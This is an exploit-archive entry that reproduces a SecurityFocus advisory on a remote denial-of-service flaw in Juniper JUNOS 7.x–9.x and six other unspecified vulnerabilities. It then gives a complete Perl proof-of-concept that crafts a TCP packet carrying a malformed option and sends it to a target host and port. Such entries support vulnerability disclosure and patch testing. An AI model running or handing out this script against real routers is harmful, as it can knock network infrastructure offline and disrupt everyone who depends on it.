Juniper Networks JUNOS 7.1.1 – Malformed TCP Packet Denial of Service / Multiple Vulnerabilities
source: https://www.securityfocus.com/bid/37670/info JUNOS is prone to a remote denial-of-service vulnerability that arises when the application handles specially crafted TCP packets. JUNOS is also prone to six other unspecified security vulnerabilities. These issues may include privilege-escalation or denial-of-service issues. JUNOS 7.x, 8.x, and 9.x are affected. JUNOS 10.x is not believed to be affected. #!/usr/bin/perl my $host = shift; my $port = shift; use Net::Packet qw($Env); use Net::Packet::IPv4; my $ip = Net::Packet::IPv4->new(dst => $host); use Net::Packet::TCP; my $tcp = Net::Packet::TCP->new( dst => $port, options => "\x65\x02\x01\x01", ); use Net::Packet::Frame; my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp); $frame->send; exit 0; |